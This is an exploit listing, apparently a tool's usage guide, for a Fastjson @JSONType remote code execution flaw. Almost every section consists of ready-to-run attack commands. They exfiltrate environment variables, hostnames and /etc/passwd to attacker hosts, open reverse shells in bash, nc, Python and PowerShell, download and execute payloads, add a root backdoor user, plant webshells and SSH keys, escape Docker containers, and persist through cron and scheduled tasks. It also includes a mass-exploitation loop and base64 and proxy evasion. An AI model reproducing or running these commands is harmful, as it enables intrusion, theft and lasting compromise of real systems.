Exploit for fastjson-json-type-rce

## https://sploitus.com/exploit?id=0F3895EC-37F7-59CC-AB1A-3918B4DEE693
# Fastjson @JSONType jar:URL RCE

> Version 1.1 | Author: Zhuge Safety (WeChat Official Account) | Applicable to fastjson 1.2.66 – 1.2.83 + JDK 8

> This is a temporary creation; it’s not publicly available online. There’s no other option, so I had to write it myself. Compatibility issues may exist. Please don’t criticize me; submit issues via issues. >
> Thank you to [Zcentury](https://github.com/Zcentury/), the team that compiled for Windows. Linux and Mac versions haven’t been compiled yet. ---

## Local Reproducibility

```bash
# macOS — Pop up a calculator
./fastjson-exploit -t http://127.0.0.1:8081

# Linux — Create a file for verification
./fastjson-exploit -t http://127.0.0.1:8081 -c "touch /tmp/rce_proof"

# Windows — Pop up a calculator
fastjson-exploit.exe -t http://127.0.0.1:8081 -c "cmd.exe /c calc"
```

---

## Information Collection (OOB Outbound)

### Linux Target

```bash
# DNS outbound: whoami / hostname (used with the dnslog platform)
./fastjson-exploit -t http://target:8081 \
  -c "nslookup \$(whoami).your-dnslog-id.ceye.io"

./fastjson-exploit -t http://target:8081 \
  -c "nslookup \$(hostname).your-dnslog-id.ceye.io"

# HTTP outbound (The attacker needs to run nc -lvnp 9999 to listen)
./fastjson-exploit -t http://target:8081 \
  -c "curl http://your-ip:9999/\$(whoami)"

# Outbound environment variables
./fastjson-exploit -t http://target:8081 \
  -c "curl http://your-ip:9999/\$(env|base64 -w0)"

# Outbound directory list
./fastjson-exploit -t http://target:8081 \
  -c "curl http://your-ip:9999/\$(ls -la /|base64 -w0)"
```

### Windows Target

```powershell
# DNS outbound
fastjson-exploit.exe -t http://target:8081 \
  -c "cmd.exe /c nslookup %COMPUTERNAME%.your-dnslog-id.ceye.io"

# HTTP outbound
fastjson-exploit.exe -t http://target:8081 \
  -c "cmd.exe /c curl http://your-ip:9999/%COMPUTERNAME%"

fastjson-exploit.exe -t http://target:8081 \
  -c "powershell -c Invoke-WebRequest http://your-ip:9999/$(whoami)"
```

---

## Reverse Shell

### Linux Target

```bash
# Bash reverse shell (most commonly used)
./fastjson-exploit -t http://target:8081 \
  -c "bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"

# nc reverse shell (bash on some systems doesn’t support /dev/tcp)
./fastjson-exploit -t http://target:8081 \
  -c "nc YOUR_IP 4444 -e /bin/bash"

# Python reverse shell
./fastjson-exploit -t http://target:8081 \
  -c "python -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"YOUR_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"

# curl pipeline execution
./fastjson-exploit -t http://target:8081 \
  -c "curl -s http://YOUR_IP/shell.sh|bash"

# wget pipeline execution
./fastjson-exploit -t http://target:8081 \
  -c "wget -qO- http://YOUR_IP/shell.sh|bash"
```

### Windows Target

```powershell
# PowerShell reverse shell (nishang Invoke-PowerShellTcp)
fastjson-exploit.exe -t http://target:8081 \
  -c "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://YOUR_IP/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress YOUR_IP -Port 4444"

# certutil download execution
fastjson-exploit.exe -t http://target:8081 \
  -c "cmd.exe /c certutil -urlcache -split -f http://YOUR_IP/payload.exe C:\\Windows\\Temp\\svchost.exe && C:\\Windows\\Temp\\svchost.exe"

# bitsadmin download
fastjson-exploit.exe -t http://target:8081 \
  -c "cmd.exe /c bitsadmin /transfer job /download /priority high http://YOUR_IP/payload.exe C:\\Windows\\Temp\\upd.exe && C:\\Windows\\Temp\\upd.exe"

## File Operations

### Reading Files (External)

```bash
# Linux – Reading /etc/passwd from an external source
./fastjson-exploit -t http://target:8081 \
  -c "curl -d @/etc/passwd http://YOUR_IP:9999/"

# Windows – Reading configuration files
fastjson-exploit.exe -t http://target:8081 \
  -c "powershell -c \$c=Get-Content C:\\path\\to\\config.properties;[System.Net.WebClient]::new().UploadString('http://YOUR_IP:9999/',\$c)"
```

### Writing Files

```bash
# Linux
./fastjson-exploit -t http://target:8081 \
  -c "echo 'your ssh pubkey' >> /root/.ssh/authorized_keys"

./fastjson-exploit -t http://target:8081 \
  -c "curl -o /tmp/backdoor.sh http://YOUR_IP/backdoor.sh && chmod +x /tmp/backdoor.sh"

# Windows
fastjson-exploit.exe -t http://target:8081 \
  -c "powershell -c Add-Content C:\\Windows\\Temp\\test.txt 'pwned'"
```

## Specific Scenarios

### Non-Internet Targets (Writing Webshells)

```bash
# Default Tomcat path
./fastjson-exploit -t http://target:8081 \
  -c "echo '' > /usr/local/tomcat/webapps/ROOT/shell.jsp"

# Spring Boot temporary directory for backdoors
./fastjson-exploit -t http://target:8081 \
  -c "echo 'base64_encoded_war' | base64 -d > /tmp/backdoor.war"
```

### Docker Container Escape

```bash
# Mounting the host disk
./fastjson-exploit -t http://target:8081 \
  -c "mkdir /tmp/host && mount /dev/sda1 /tmp/host && echo '* * * * * root bash -i >& /dev/tcp/YOUR_IP/8888 0>&1' >> /tmp/host/etc/crontab"

# Privileged container for writing crontab
./fastjson-exploit -t http://target:8081 \
  -c "echo '*/5 * * * * root /bin/bash -c \"bash -i >& /dev/tcp/YOUR_IP/8888 0>&1\"' > /etc/crontab"
```

### Adding Users/Persistent

```bash
# Linux – Adding a root user
./fastjson-exploit -t http://target:8081 \
  -c "useradd -o -u 0 -g 0 -M -d /root -s /bin/bash backdoor && echo 'backdoor:Passw0rd!'|chpasswd"

# Linux – Persisting crontab
./fastjson-exploit -t http://target:8081 \
  -c "echo '*/5 * * * * curl http://YOUR_IP/beacon.bat | bash' | crontab -"

# Windows – Persisting scheduled tasks
fastjson-exploit.exe -t http://target:8081 \
  -c "schtasks /create /sc minute /mo 5 /tn WindowsUpdate /tr \"cmd.exe /c curl http://YOUR_IP/beacon.bat -o C:\\Windows\\Temp\\u.bat && C:\\Windows\\Temp\\u.bat\" /f"
```

## Batch Utilization

```bash
# Checking each target one by one
./fastjson-exploit -f targets.txt -c "curl http://YOUR_IP:9999/\$(hostname)" --delay 2

# Batch shell rebooting (different ports separated)
cat targets.txt | while read line;
  PORT=$((4444 + RANDOM % 100))
  echo "[*] $line -> port $PORT"
  ./fastjson-exploit -t "$line" \
    -c "bash -c 'bash -i >& /dev/tcp/YOUR_IP/$PORT 0>&1'" \
    --no-build --delay 1
done
```

## Bypass/Circumvention

```bash
# Executing commands with Base64 encoding
./fastjson-exploit -t http://target:8081 \
  -c "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9ZT1VSX0lQLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}"

# Using a proxy to hide the attacker’s IP
./fastjson-exploit -t http://target:8081 \
  -c "curl http://YOUR_IP/shell.sh|bash" \
  -p http://127.0.0.1:7890
```

## Common Endpoints

| Endpoint | Description |
|--------|------|
| `/parse-async` | Default, asynchronous thread processing, highest success rate |
| `/parse` | Request thread processing, available in some scenarios |
| `/check` | Only triggers checkAutoType, can be used for fingerprint detection |
```

> Attacker listening command: `nc -lvnp 4444` | `python3 -m http.server 9999`
> 
> All commands are for authorized testing only.

[source-iocs-preserved url=http://YOUR_IP/beacon.sh|bash,http://your-ip:9999/\$(id]